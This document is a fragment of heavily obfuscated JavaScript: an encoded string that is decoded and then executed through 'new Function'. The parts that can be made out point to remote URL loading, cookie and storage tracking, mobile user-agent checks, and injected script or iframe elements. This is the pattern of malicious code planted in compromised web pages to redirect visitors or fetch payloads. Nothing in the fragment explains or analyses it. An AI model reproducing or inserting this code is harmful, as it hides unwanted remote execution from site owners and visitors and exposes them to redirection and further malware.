F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();